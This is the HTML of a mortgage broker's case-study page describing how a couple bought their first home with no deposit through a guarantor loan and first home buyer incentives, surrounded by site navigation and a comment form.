Type</a>
                <button @click.stop.prevent="openMenus[1] = openMenus[1] === 'submenu-5872-1' ? null : 'submenu-5872-1'"
                    x-bind:aria-expanded="openMenus[1] === 'submenu-5872-1'" 
                    class="submenu-toggle">
                    <svg xmlns="http://www.w3.org/2000/svg" width="20" height="21" viewBox="0 0 20 21" fill="none">
                        <path d="M10.3314 13.9892C10.1484 14.1723 9.8516 14.1723 9.66854 13.9892L4.88949 9.21014C4.70643 9.02707 4.70643 8.73032 4.88949 8.54726L5.11046 8.32626C5.29352 8.1432 5.59031 8.1432 5.77338 8.32626L9.99998 12.5529L14.2266 8.32626C14.4097 8.1432 14.7064 8.1432 14.8895 8.32626L15.1105 8.54726C15.2935 8.73032 15.2935 9.02707 15.1105 9.21014L10.3314 13.9892Z" fill="currentColor"/>
                    </svg>
                </button><ul class="sub-menu lvl_2" x-show="openMenus[1] === 'submenu-5872-1'" x-cloak><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-5871-2'}"><a href="https://intuitivefinance.com.au/loans/borrower-types/first-home-buyer/">First Time Buyers</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-5985-2'}"><a href="https://intuitivefinance.com.au/loans/borrower-types/property-upsizers/">Property Upsizers</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-19532-2'}"><a href="https://intuitivefinance.com.au/loans/borrower-types/property-investors/">Property Investors</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children" :class="{'active': openMenus[2] === 'submenu-5983-2'}"><a href="https://intuitivefinance.com.au/loans/borrower-types/self-employed-home-loans/">Self-Employed</a>
                <button @click.stop.prevent="openMenus[2] = openMenus[2] === 'submenu-5983-2' ? null : 'submenu-5983-2'"
                    x-bind:aria-expanded="openMenus[2] === 'submenu-5983-2'" 
                    class="submenu-toggle">
                    <svg xmlns="http://www.w3.org/2000/svg" width="20" height="21" viewBox="0 0 20 21" fill="none">
                        <path d="M10.3314 13.9892C10.1484 14.1723 9.8516 14.1723 9.66854 13.9892L4.88949 9.21014C4.70643 9.02707 4.70643 8.73032 4.88949 8.54726L5.11046 8.32626C5.29352 8.1432 5.59031 8.1432 5.77338 8.32626L9.99998 12.5529L14.2266 8.32626C14.4097 8.1432 14.7064 8.1432 14.8895 8.32626L15.1105 8.54726C15.2935 8.73032 15.2935 9.02707 15.1105 9.21014L10.3314 13.9892Z" fill="currentColor"/>
                    </svg>
                </button><ul class="sub-menu lvl_3" x-show="openMenus[2] === 'submenu-5983-2'" x-cloak><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[3] === 'submenu-20377-3'}"><a href="/loans/borrower-types/self-employed-home-loans/#tradies">Tradies</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[3] === 'submenu-20378-3'}"><a href="/loans/borrower-types/self-employed-home-loans/#business-owners">Business Owners</a></li></ul></li><li class=" menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children" :class="{'active': openMenus[2] === 'submenu-19548-2'}"><a href="https://intuitivefinance.com.au/loans/borrower-types/professionals/">Professionals</a>
                <button @click.stop.prevent="openMenus[2] = openMenus[2] === 'submenu-19548-2' ? null : 'submenu-19548-2'"
                    x-bind:aria-expanded="openMenus[2] === 'submenu-19548-2'" 
                    class="submenu-toggle">
                    <svg xmlns="http://www.w3.org/2000/svg" width="20" height="21" viewBox="0 0 20 21" fill="none">
                        <path d="M10.3314 13.9892C10.1484 14.1723 9.8516 14.1723 9.66854 13.9892L4.88949 9.21014C4.70643 9.02707 4.70643 8.73032 4.88949 8.54726L5.11046 8.32626C5.29352 8.1432 5.59031 8.1432 5.77338 8.32626L9.99998 12.5529L14.2266 8.32626C14.4097 8.1432 14.7064 8.1432 14.8895 8.32626L15.1105 8.54726C15.2935 8.73032 15.2935 9.02707 15.1105 9.21014L10.3314 13.9892Z" fill="currentColor"/>
                    </svg>
                </button><ul class="sub-menu lvl_3" x-show="openMenus[2] === 'submenu-19548-2'" x-cloak><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[3] === 'submenu-20379-3'}"><a href="/loans/borrower-types/professionals/#doctors">Doctors</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[3] === 'submenu-20381-3'}"><a href="/loans/borrower-types/professionals/#accountants">Accountants</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[3] === 'submenu-20380-3'}"><a href="/loans/borrower-types/professionals/#lawyers">Lawyers</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[3] === 'submenu-20382-3'}"><a href="/loans/borrower-types/professionals/#sports-people">Sports People</a></li></ul></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-5982-2'}"><a href="https://intuitivefinance.com.au/loans/borrower-types/expat-home-loans/">Expats</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-5984-2'}"><a href="https://intuitivefinance.com.au/loans/borrower-types/self-managed-supers-funds/">SMSF</a></li></ul></li></ul></li><li class=" menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children" :class="{'active': openMenus[0] === 'submenu-21779-0'}"><a href="#" @click.stop.prevent="openMenus[1]={};openMenus[2]={};openMenus[3]={};openMenus[0] = openMenus[0] === 'submenu-21779-0' ? null : 'submenu-21779-0'">Knowledge Hub</a>
                <button @click.stop.prevent="openMenus[1]={};openMenus[2]={};openMenus[3]={};openMenus[0] = openMenus[0] === 'submenu-21779-0' ? null : 'submenu-21779-0'"
                    x-bind:aria-expanded="openMenus[0] === 'submenu-21779-0'" 
                    class="submenu-toggle">
                    <svg xmlns="http://www.w3.org/2000/svg" width="20" height="21" viewBox="0 0 20 21" fill="none">
                        <path d="M10.3314 13.9892C10.1484 14.1723 9.8516 14.1723 9.66854 13.9892L4.88949 9.21014C4.70643 9.02707 4.70643 8.73032 4.88949 8.54726L5.11046 8.32626C5.29352 8.1432 5.59031 8.1432 5.77338 8.32626L9.99998 12.5529L14.2266 8.32626C14.4097 8.1432 14.7064 8.1432 14.8895 8.32626L15.1105 8.54726C15.2935 8.73032 15.2935 9.02707 15.1105 9.21014L10.3314 13.9892Z" fill="currentColor"/>
                    </svg>
                </button><ul class="sub-menu lvl_1" x-show="openMenus[0] === 'submenu-21779-0'" x-cloak><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[1] === 'submenu-19555-1'}"><a href="https://intuitivefinance.com.au/knowledge-hub/">Blogs</a></li><li class="cursor-default menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children" :class="{'active': openMenus[1] === 'submenu-6109-1'}"><a href="#" @click.stop.prevent="openMenus[1] = openMenus[1] === 'submenu-6109-1' ? null : 'submenu-6109-1'">Help / Guide</a>
                <button @click.stop.prevent="openMenus[1] = openMenus[1] === 'submenu-6109-1' ? null : 'submenu-6109-1'"
                    x-bind:aria-expanded="openMenus[1] === 'submenu-6109-1'" 
                    class="submenu-toggle">
                    <svg xmlns="http://www.w3.org/2000/svg" width="20" height="21" viewBox="0 0 20 21" fill="none">
                        <path d="M10.3314 13.9892C10.1484 14.1723 9.8516 14.1723 9.66854 13.9892L4.88949 9.21014C4.70643 9.02707 4.70643 8.73032 4.88949 8.54726L5.11046 8.32626C5.29352 8.1432 5.59031 8.1432 5.77338 8.32626L9.99998 12.5529L14.2266 8.32626C14.4097 8.1432 14.7064 8.1432 14.8895 8.32626L15.1105 8.54726C15.2935 8.73032 15.2935 9.02707 15.1105 9.21014L10.3314 13.9892Z" fill="currentColor"/>
                    </svg>
                </button><ul class="sub-menu lvl_2" x-show="openMenus[1] === 'submenu-6109-1'" x-cloak><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-16876-2'}"><a href="https://intuitivefinance.com.au/checklist-resources/">Checklist Resources</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[2] === 'submenu-6942-2'}"><a href="/the-key-finance-issues-all-property-upgraders-need-to-consider/">Guide - Upgraders</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[2] === 'submenu-6113-2'}"><a href="/7-things-all-property-investors-need-to-understand-about-finance/">Guide - Sophisticated and First time Investors</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[2] === 'submenu-6112-2'}"><a href="/guide-to-finance-for-self-employed-people/">Guide - Self Employed</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[2] === 'submenu-6943-2'}"><a href="/the-key-finance-issues-all-self-managed-super-funds-need-to-consider/">Guide - SMSF</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[2] === 'submenu-6944-2'}"><a href="/8-key-finance-issues-all-expatriates-need-to-understand/">Guide - Expatriates</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[2] === 'submenu-6111-2'}"><a href="/the-2022-guide-to-finance-for-first-homebuyers/">Guide - First Home Buyer</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[2] === 'submenu-6941-2'}"><a href="/property-buying-tips-and-handy-hints-successfully-manage-your-finances/">Guide - Buying Tips And Handy Hints</a></li></ul></li></ul></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[0] === 'submenu-5407-0'}"><a href="https://intuitivefinance.com.au/case-studies/">Case Studies</a></li><li class="contact-list-child menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children" :class="{'active': openMenus[0] === 'submenu-5433-0'}"><a href="https://intuitivefinance.com.au/contact/">Contact Us</a>
                <button @click.stop.prevent="openMenus[1]={};openMenus[2]={};openMenus[3]={};openMenus[0] = openMenus[0] === 'submenu-5433-0' ? null : 'submenu-5433-0'"
                    x-bind:aria-expanded="openMenus[0] === 'submenu-5433-0'" 
                    class="submenu-toggle">
                    <svg xmlns="http://www.w3.org/2000/svg" width="20" height="21" viewBox="0 0 20 21" fill="none">
                        <path d="M10.3314 13.9892C10.1484 14.1723 9.8516 14.1723 9.66854 13.9892L4.88949 9.21014C4.70643 9.02707 4.70643 8.73032 4.88949 8.54726L5.11046 8.32626C5.29352 8.1432 5.59031 8.1432 5.77338 8.32626L9.99998 12.5529L14.2266 8.32626C14.4097 8.1432 14.7064 8.1432 14.8895 8.32626L15.1105 8.54726C15.2935 8.73032 15.2935 9.02707 15.1105 9.21014L10.3314 13.9892Z" fill="currentColor"/>
                    </svg>
                </button><ul class="sub-menu lvl_1" x-show="openMenus[0] === 'submenu-5433-0'" x-cloak><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[1] === 'submenu-20560-1'}"><a href="https://intuitivefinance.com.au/financial-brokers-sydney/">Sydney</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[1] === 'submenu-20561-1'}"><a href="https://intuitivefinance.com.au/financial-brokers-brisbane/">Brisbane</a></li></ul></li></ul></div>    </div>
    </div><!-- data-section="primary_navigation" -->
<div class="site-header-item site-header-focus-item" data-section="kadence_customizer_header_button">
	<div class="header-button-wrap"><div class="header-button-inner-wrap"><a href="/appointments/" target="_self" class="button header-button button-size-medium button-style-filled">Book a Consultation</a></div></div></div><!-- data-section="header_button" -->
					</div>
							</div>
		</div>
	</div>
</div>
				</div>
			</div>
					</div>
	</div>
	
<div id="mobile-header" class="site-mobile-header-wrap">
	<div class="site-header-inner-wrap">
		<div class="site-header-upper-wrap">
			<div class="site-header-upper-inner-wrap">
			<div class="site-top-header-wrap site-header-focus-item site-header-row-layout-standard site-header-row-tablet-layout-default site-header-row-mobile-layout-default ">
	<div class="site-header-row-container-inner">
		<div class="site-container">
			<div class="site-top-header-inner-wrap site-header-row site-header-row-has-sides site-header-row-no-center">
									<div class="site-header-top-section-left site-header-section site-header-section-left">
						<div class="site-header-item site-header-focus-item" data-section="kadence_customizer_mobile_html">
	<div class="mobile-html inner-link-style-normal"><div class="mobile-html-inner"><ul class="top_left_actions">
<li><a class="icon_cal" href="/appointments/">Book a Consultation</a></li>
<li><a class="icon_tel" href="tel:1300342505">1300 342 505</a></li>
</ul>
</div></div></div><!-- data-section="mobile_html" -->
					</div>
																	<div class="site-header-top-section-right site-header-section site-header-section-right">
											</div>
							</div>
		</div>
	</div>
</div>
<div class="site-main-header-wrap site-header-focus-item site-header-row-layout-standard site-header-row-tablet-layout-default site-header-row-mobile-layout-default ">
	<div class="site-header-row-container-inner">
		<div class="site-container">
			<div class="site-main-header-inner-wrap site-header-row site-header-row-has-sides site-header-row-no-center">
									<div class="site-header-main-section-left site-header-section site-header-section-left">
						<div class="site-header-item site-header-focus-item" data-section="title_tagline">
	<div class="site-branding mobile-site-branding branding-layout-standard branding-tablet-layout-inherit site-brand-logo-only branding-mobile-layout-inherit"><a class="brand has-logo-image" href="https://intuitivefinance.com.au/" rel="home"><picture class="custom-logo" decoding="async">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2024/09/intuitive_finance_logo.png.webp"/>
<img width="260" height="90" src="https://intuitivefinance.com.au/wp-content/uploads/2024/09/intuitive_finance_logo.png" alt="Intuitive Finance" decoding="async"/>
</picture>
</a></div></div><!-- data-section="title_tagline" -->
					</div>
																	<div class="site-header-main-section-right site-header-section site-header-section-right">
						<div class="site-header-item site-header-focus-item site-header-item-navgation-popup-toggle" data-section="kadence_customizer_mobile_trigger">
		<div class="mobile-toggle-open-container">
						<button id="mobile-toggle" class="menu-toggle-open drawer-toggle menu-toggle-style-default" aria-label="Open menu" data-toggle-target="#mobile-drawer" data-toggle-body-class="showing-popup-drawer-from-full" aria-expanded="false" data-set-focus=".menu-toggle-close"
					>
						<span class="menu-toggle-icon"><span class="kadence-svg-iconset"><svg aria-hidden="true" class="kadence-svg-icon kadence-menu-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Toggle Menu</title><path d="M3 13h18c0.552 0 1-0.448 1-1s-0.448-1-1-1h-18c-0.552 0-1 0.448-1 1s0.448 1 1 1zM3 7h18c0.552 0 1-0.448 1-1s-0.448-1-1-1h-18c-0.552 0-1 0.448-1 1s0.448 1 1 1zM3 19h18c0.552 0 1-0.448 1-1s-0.448-1-1-1h-18c-0.552 0-1 0.448-1 1s0.448 1 1 1z"></path>
				</svg></span></span>
		</button>
	</div>
	</div><!-- data-section="mobile_trigger" -->
					</div>
							</div>
		</div>
	</div>
</div>
			</div>
		</div>
			</div>
</div>
</header><!-- #masthead -->

	<div id="inner-wrap" class="wrap hfeed kt-clear">
		<section role="banner" class="entry-hero case-studies-hero-section entry-hero-layout-fullwidth">
	<div class="entry-hero-container-inner">
		<div class="hero-section-overlay"></div>
		<div class="hero-container site-container">
			<header class="entry-header case-studies-title title-align-inherit title-tablet-align-inherit title-mobile-align-inherit">
				<span class="parent-page-title"> <a href="/case-studies/">CASE STUDIES</a> </span><h1 class="entry-title">Sam and Amy – No Deposit Home Loan</h1>			</header><!-- .entry-header -->
		</div>
	</div>
</section><!-- .entry-hero -->
<div id="primary" class="content-area">
	<div class="content-container site-container">
		<main id="main" class="site-main" role="main">
						<div class="content-wrap">
				<article id="post-17019" class="entry content-bg single-entry post-17019 case-studies type-case-studies status-publish has-post-thumbnail hentry">
	<div class="entry-content-wrap">
		
<div class="entry-content single-content">
	<div class="kb-row-layout-wrap kb-row-layout-id17019_02c488-fa alignfull has-theme-palette9-background-color kt-row-has-bg wp-block-kadence-rowlayout"><div class="kt-row-column-wrap kt-has-2-columns kt-row-layout-equal kt-tab-layout-inherit kt-mobile-layout-row kt-row-valign-top kb-theme-content-width">

<div class="wp-block-kadence-column kadence-column17019_153ecf-e1"><div class="kt-inside-inner-col">
<h2 class="kt-adv-heading17019_d475cf-04 no_br_on_mobile wp-block-kadence-advancedheading has-theme-palette-3-color has-text-color" data-kb-block="kb-adv-heading17019_d475cf-04">First home buying without a deposit</h2>



<p class="kt-adv-heading17019_82514a-12 no_br_on_mobile wp-block-kadence-advancedheading" data-kb-block="kb-adv-heading17019_82514a-12">Sam and Amy were long term renters who were ready to purchase their own home, but found it difficult to save for a 20% home loan deposit due to the cost of rent and everyday living expenses.</p>


<div class="kb-row-layout-wrap kb-row-layout-id17019_178165-39 alignnone wp-block-kadence-rowlayout"><div class="kt-row-column-wrap kt-has-2-columns kt-row-layout-equal kt-tab-layout-inherit kt-mobile-layout-row kt-row-valign-top">

<div class="wp-block-kadence-column kadence-column17019_08fa6e-ae"><div class="kt-inside-inner-col">
<figure class="wp-block-kadence-image kb-image17019_5d33af-88 size-full"><picture decoding="async" class="kb-img wp-image-17039">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_1-1.png.webp 194w, https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_1-1-150x150.png.webp 150w" sizes="(max-width: 194px) 100vw, 194px"/>
<img decoding="async" width="194" height="193" src="https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_1-1.png" alt="" srcset="https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_1-1.png 194w, https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_1-1-150x150.png 150w" sizes="(max-width: 194px) 100vw, 194px"/>
</picture>
</figure>
</div></div>



<div class="wp-block-kadence-column kadence-column17019_360573-38"><div class="kt-inside-inner-col">
<p class="kt-adv-heading17019_0a8058-a7 font-600 wp-block-kadence-advancedheading has-theme-palette-3-color has-text-color" data-kb-block="kb-adv-heading17019_0a8058-a7">Facilitate Guarantor Home Loan</p>
</div></div>



<div class="wp-block-kadence-column kadence-column17019_174569-a5"><div class="kt-inside-inner-col">
<figure class="wp-block-kadence-image kb-image17019_1bf10e-d1 size-full"><picture decoding="async" class="kb-img wp-image-17041">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_2.png.webp 194w, https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_2-150x150.png.webp 150w" sizes="(max-width: 194px) 100vw, 194px"/>
<img decoding="async" width="194" height="193" src="https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_2.png" alt="" srcset="https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_2.png 194w, https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_2-150x150.png 150w" sizes="(max-width: 194px) 100vw, 194px"/>
</picture>
</figure>
</div></div>



<div class="wp-block-kadence-column kadence-column17019_973676-c5"><div class="kt-inside-inner-col">
<p class="kt-adv-heading17019_83597f-af font-600 wp-block-kadence-advancedheading has-theme-palette-3-color has-text-color" data-kb-block="kb-adv-heading17019_83597f-af">Facilitate incentives such as First Home Buyer Schemes</p>
</div></div>



<div class="wp-block-kadence-column kadence-column17019_e0e726-9c"><div class="kt-inside-inner-col">
<figure class="wp-block-kadence-image kb-image17019_691829-39 size-full"><picture decoding="async" class="kb-img wp-image-17042">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_3.png.webp 194w, https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_3-150x150.png.webp 150w" sizes="(max-width: 194px) 100vw, 194px"/>
<img decoding="async" width="194" height="193" src="https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_3.png" alt="" srcset="https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_3.png 194w, https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_3-150x150.png 150w" sizes="(max-width: 194px) 100vw, 194px"/>
</picture>
</figure>
</div></div>



<div class="wp-block-kadence-column kadence-column17019_434865-33"><div class="kt-inside-inner-col">
<p class="kt-adv-heading17019_e64458-56 font-600 wp-block-kadence-advancedheading has-theme-palette-3-color has-text-color" data-kb-block="kb-adv-heading17019_e64458-56">Purchase of first home</p>
</div></div>

</div></div></div></div>



<div class="wp-block-kadence-column kadence-column17019_8d5816-91"><div class="kt-inside-inner-col">
<div class="wp-block-kadence-image kb-image17019_26bdb4-00"><figure class="aligncenter size-full"><picture loading="lazy" decoding="async" class="kb-img wp-image-17045">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2022/08/MicrosoftTeams-image-4_500x500.png.webp 500w, https://intuitivefinance.com.au/wp-content/uploads/2022/08/MicrosoftTeams-image-4_500x500-300x300.png.webp 300w, https://intuitivefinance.com.au/wp-content/uploads/2022/08/MicrosoftTeams-image-4_500x500-150x150.png.webp 150w, https://intuitivefinance.com.au/wp-content/uploads/2022/08/MicrosoftTeams-image-4_500x500-450x450.png.webp 450w" sizes="(max-width: 500px) 100vw, 500px"/>
<img loading="lazy" decoding="async" width="500" height="500" src="https://intuitivefinance.com.au/wp-content/uploads/2022/08/MicrosoftTeams-image-4_500x500.png" alt="" srcset="https://intuitivefinance.com.au/wp-content/uploads/2022/08/MicrosoftTeams-image-4_500x500.png 500w, https://intuitivefinance.com.au/wp-content/uploads/2022/08/MicrosoftTeams-image-4_500x500-300x300.png 300w, https://intuitivefinance.com.au/wp-content/uploads/2022/08/MicrosoftTeams-image-4_500x500-150x150.png 150w, https://intuitivefinance.com.au/wp-content/uploads/2022/08/MicrosoftTeams-image-4_500x500-450x450.png 450w" sizes="(max-width: 500px) 100vw, 500px"/>
</picture>
</figure></div>
</div></div>

</div></div>

<div class="kb-row-layout-wrap kb-row-layout-id17019_125866-34 alignfull kt-row-has-bg wp-block-kadence-rowlayout"><div class="kt-row-column-wrap kt-has-1-columns kt-row-layout-equal kt-tab-layout-inherit kt-mobile-layout-row kt-row-valign-top kb-theme-content-width">

<div class="wp-block-kadence-column kadence-column17019_17e745-b6"><div class="kt-inside-inner-col">
<h2 class="kt-adv-heading17019_989874-b6 no_br_on_mobile wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-heading17019_989874-b6">Our Proposal</h2>



<p class="kt-adv-heading17019_a1df9d-95 wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-heading17019_a1df9d-95">After exploring different possibilities for attaining a home loan, Intuitive Finance worked with Sam and Amy to determine the best route for them would be a&nbsp;<a href="https://intuitivefinance.com.au/loans/loan-types/guarantor-home-loan/">Guarantor Home Loan</a>. Due to their ability to consistently pay rent on time, they were able to show their lender that they could meet the deposit requirements. We also proposed that the young couple make use of the First Home Buyer scheme in order to ease the financial burden of their initial costs as well as long-term repayments.<br></p>
</div></div>

</div></div>

<div class="kb-row-layout-wrap kb-row-layout-id17019_db57b7-f4 alignfull has-theme-palette9-background-color kt-row-has-bg wp-block-kadence-rowlayout"><div class="kt-row-column-wrap kt-has-1-columns kt-row-layout-equal kt-tab-layout-inherit kt-mobile-layout-row kt-row-valign-top kb-theme-content-width">

<div class="wp-block-kadence-column kadence-column17019_db0904-f5"><div class="kt-inside-inner-col">
<h2 class="kt-adv-heading17019_ccbbfe-ee no_br_on_mobile wp-block-kadence-advancedheading has-theme-palette-3-color has-text-color" data-kb-block="kb-adv-heading17019_ccbbfe-ee">The Outcome</h2>



<p class="kt-adv-heading17019_cffc86-71 wp-block-kadence-advancedheading" data-kb-block="kb-adv-heading17019_cffc86-71">Amy’s auntie was happy to guarantee the loan, and by proving both the consistent ability to meet repayments and having Amy’s auntie offer up the equity on her home as collateral, their lender felt safe and happy to offer a loan with effectively no deposit. Sam and Amy also obtained&nbsp;<a href="https://intuitivefinance.com.au/loans/borrower-types/first-home-buyer/">First Home Buyer</a>&nbsp;incentives such as reduced stamp duties, which lowered their costs and assisted with the overall structure.<br></p>



<div class="wp-block-kadence-image kb-image17019_036d7d-8b"><figure class="aligncenter size-large"><a href="/appointments/" class="kb-advanced-image-link"><picture loading="lazy" decoding="async" class="kb-img wp-image-21002">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2024/07/Banner-Finance-Consultation-1024x182.jpg.webp 1024w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/Banner-Finance-Consultation-300x53.jpg.webp 300w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/Banner-Finance-Consultation-768x136.jpg.webp 768w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/Banner-Finance-Consultation.jpg.webp 1410w" sizes="(max-width: 1024px) 100vw, 1024px"/>
<img loading="lazy" decoding="async" width="1024" height="182" src="https://intuitivefinance.com.au/wp-content/uploads/2024/07/Banner-Finance-Consultation-1024x182.jpg" alt="" srcset="https://intuitivefinance.com.au/wp-content/uploads/2024/07/Banner-Finance-Consultation-1024x182.jpg 1024w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/Banner-Finance-Consultation-300x53.jpg 300w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/Banner-Finance-Consultation-768x136.jpg 768w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/Banner-Finance-Consultation.jpg 1410w" sizes="(max-width: 1024px) 100vw, 1024px"/>
</picture>
</a></figure></div>
</div></div>

</div></div>
                         <div class="abh_box abh_box_down abh_box_business"><ul class="abh_tabs"> <li class="abh_about abh_active"><a href="#abh_about">About</a></li> <li class="abh_posts"><a href="#abh_posts">Latest Posts</a></li></ul><div class="abh_tab_content"><section class="vcard author abh_about_tab abh_tab" itemscope itemprop="author" itemtype="https://schema.org/Person" style="display:block"><div class="abh_image" itemscope itemtype="https://schema.org/ImageObject"><a href = "https://intuitivefinance.com.au/author/intuitive/" class="url" title = "Andrew Mirams" > <picture decoding="async" class="photo">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/gravatar/andrew-mirams.jpg.webp"/>
<img decoding="async" src="https://intuitivefinance.com.au/wp-content/uploads/gravatar/andrew-mirams.jpg" width="250" alt="Andrew Mirams"/>
</picture>
</a > </div><div class="abh_social"> </div><div class="abh_text"><div class="abh_name fn name" itemprop="name" style="font-size:18px !important;"><a href="https://intuitivefinance.com.au/author/intuitive/" class="url">Andrew Mirams</a></div><div class="abh_job" style="font-size:14px !important;"></div><div class="description note abh_description" itemprop="description" style="font-size:14px !important;">Andrew Mirams is the Founder and Managing Director of Intuitive Finance, a highly respected and multi-award winning Mortgage Brokerage dealing with clients all over Australia and around the world. Andrew has over 30 year’s experience in the finance industry and has assisted clients to secure over $2 Billion in mortgage lending over his time. Intuitive Finance deals with all aspects of lending from helping first homebuyers, someone wanting to upgrade their home or starting out and experienced investors looking to secure that next investment property, we can assist with all those requirements. We also specialise in working with self-employed clients and getting them the best outcomes, along with Commercial and Asset finance solutions. Intuitive Finance is highly regarded in the industry and has been recognised as a national winner of the MFAA customer service award and also one of the finance industry’s top mortgage employers. Our brokers also feature regularly in the Top 100 mortgage brokers list in Australia.</div></div> </section><section class="abh_posts_tab abh_tab" ><div class="abh_image"><a href="https://intuitivefinance.com.au/author/intuitive/" class="url" title="Andrew Mirams"><picture decoding="async" class="photo">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/gravatar/andrew-mirams.jpg.webp"/>
<img decoding="async" src="https://intuitivefinance.com.au/wp-content/uploads/gravatar/andrew-mirams.jpg" width="250" alt="Andrew Mirams"/>
</picture>
</a></div><div class="abh_social"> </div><div class="abh_text"><div class="abh_name" style="font-size:18px !important;">Latest posts by Andrew Mirams <span class="abh_allposts">(<a href="https://intuitivefinance.com.au/author/intuitive/">see all</a>)</span></div><div class="abh_description note" ><ul>				<li style="font-size:14px !important;" >					<a href="https://intuitivefinance.com.au/do-mortgage-brokers-charge-a-fee/">Do mortgage brokers charge a fee</a><span> - March 13, 2025</span>				</li>				<li style="font-size:14px !important;" >					<a href="https://intuitivefinance.com.au/first-home-buyers-what-are-you-waiting-for-2/">First Home Buyers – What are you waiting for</a><span> - March 13, 2025</span>				</li>				<li style="font-size:14px !important;" >					<a href="https://intuitivefinance.com.au/navigation-the-competitive-sydney-market/">Navigating the competitive Sydney market</a><span> - March 10, 2025</span>				</li></ul></div></div> </section></div> </div></div><!-- .entry-content -->
	</div>
</article><!-- #post-17019 -->

<div id="comments" class="comments-area">
		<div id="respond" class="comment-respond">
		<h3 id="reply-title" class="comment-reply-title">Leave a Reply <small><a rel="nofollow" id="cancel-comment-reply-link" href="/case-studies/sam-and-amy-no-deposit-home-loan/#respond" style="display:none;">Cancel reply</a></small></h3><form action="https://intuitivefinance.com.au/wp-comments-post.php" method="post" id="commentform" class="comment-form" novalidate><p class="comment-notes"><span id="email-notes">Your email address will not be published.</span> <span class="required-field-message">Required fields are marked <span class="required">*</span></span></p><p class="comment-form-comment comment-form-float-label"><textarea id="comment" name="comment" placeholder="Leave a comment..." cols="45" rows="8" maxlength="65525" aria-required="true" required="required"></textarea><label class="float-label" for="comment">Comment <span class="required">*</span></label></p><div class="comment-input-wrap has-url-field"><p class="comment-form-author"><input aria-label="Name" id="author" name="author" type="text" placeholder="John Doe" value="" size="30" maxlength="245" aria-required='true' required='required' /><label class="float-label" for="author">Name <span class="required">*</span></label></p>
<p class="comment-form-email"><input aria-label="Email" id="email" name="email" type="email" placeholder="john@example.com" value="" size="30" maxlength="100" aria-describedby="email-notes" aria-required='true' required='required' /><label class="float-label" for="email">Email <span class="required">*</span></label></p>
<p class="comment-form-url"><input aria-label="Website" id="url" name="url" type="url" placeholder="https://www.example.com" value="" size="30" maxlength="200" /><label class="float-label" for="url">Website</label></p></div>
<p class="form-submit"><input name="submit" type="submit" id="submit" class="submit" value="Post Comment" /> <input type='hidden' name='comment_post_ID' value='17019' id='comment_post_ID' />
